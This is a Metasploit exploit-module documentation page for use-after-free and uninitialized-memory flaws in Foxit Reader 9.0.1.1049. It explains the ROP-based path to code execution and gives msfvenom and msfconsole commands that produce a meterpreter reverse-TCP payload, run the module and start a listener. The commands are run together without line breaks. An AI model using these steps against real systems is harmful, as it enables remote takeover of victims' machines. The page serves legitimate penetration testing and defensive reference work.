List of CVEs: CVE-2018-99, CVE-2018-9948, CVE-2018-9958
Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability in the Text Annotations component and the TypedArray's use uninitialized pointers. The vulnerabilities can be combined to leak a vtable memory address, which can be adjusted to point to the base address of the executable. A ROP chain can be constructed that will execute when Foxit Reader performs the UAF. This module has been tested on Windows 7 x64, Windows 10 Pro x64 Build 17134, and Windows 10 Enterprise x64. Windows 10 Enterprise must have insecure logons enabled for the exploit to work as expected.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Knowledge Base
Description
Foxit Reader v9.0.1.1049 and earlier are affected by use-after-free and uninitialzed memory vulnerabilities that can be used to gain code execution. This module uses Uint32Array uninitialized memory and text annotation use-after-free vulnerabilities to call WinExec with a share file path to download and execute the specified exe. The module has been tested against Foxit Reader v9.0.1.1049 running on Windows 7 x64 and Windows 10 Pro x64 Build 17134. Windows 10 Enterprise needs to have insecure logons enabled for the exploit to work as expected.
Vulnerable Application
Foxit Reader v9.0.1.1049 and earlier
Verification Steps
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=<lhost> LPORT=<lport> --arch x86 -f exe /share/path/tmp.exechmod 777 /share/path/tmp.exe./msfconsole -qx 'use exploit/windows/fileformat/foxit_reader_uaf ; set exename tmp.exe ; set share <share> ; set lhost <lhost> ; runuse multi/handlerset payload windows/meterpreter/reverse_tcpset lhost <lhost>run -j- Copy pdf over to target. Start Foxit Reader then open pdf from Foxit's Menu.
Note: The target machine running Foxit Reader will need network access to the system hosting the exe.
